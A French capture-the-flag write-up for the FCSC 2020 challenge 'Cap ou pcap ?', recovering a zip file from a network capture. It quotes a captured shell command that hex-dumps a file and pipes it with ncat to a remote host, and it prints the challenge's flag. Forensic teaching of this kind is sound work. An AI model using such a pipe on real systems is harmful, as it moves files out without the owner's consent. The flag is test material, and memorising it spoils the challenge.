> For the complete documentation index, see [llms.txt](https://book.onosh.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.onosh.ovh/ctf/france-cybersecurity-challenge/cap-ou-pcap.md).
# Cap ou pcap ?
### Énoncé
Voici la capture d’une communication réseau entre deux postes. Un fichier a été échangé et vous devez le retrouver.
Le flag est présent dans le contenu du fichier.
[cap.pcap](https://onosh.github.io/ctf/fcsc2020/download/cap.pcap)
### Analyse de la capture
En ouvrant la capture nous remarquons des échanges TCP entre 2 hôtes.
Au bout de la trame 6, des informations relatives à un système linux apparaissent, j'ouvre le flux TCP sur cette trame.
```
id
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
pwd
/home/fcsc
07:10:25 up 24 min, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
fcsc tty7 :0 06:46 24:47 3.13s 0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
ls Documents
flag.zip
file Documents/flag.zip
Documents/flag.zip: Zip archive data, at least v2.0 to extract
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
exit
```
La commande pour l'échange du fichier est :
`xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200`
On regarde rapidement le manuel de xxd sous linux :
```
xxd
-p output in postscript plain hexdump style
```
La commande récupere le hexdump de flag.zip, supprime les retours à la ligne avec tr et transfert le fichier avec ncat.
Cherchons les données du fichiers dans les trames, notamment la trame la plus "grosse".
La trame 27 contient les données relatives à l'échanges :
```
504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000
```
Il ne reste plus qu'à faire le processus inverse.
```
onosh@kali:/home/onosh/FCSC/CRYPTO# xxd -r -p flag.hex >flag.zip && unzip flag.zip flag.txt && cat flag.txt
Archive: flag.zip
inflating: flag.txt
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}
```
---
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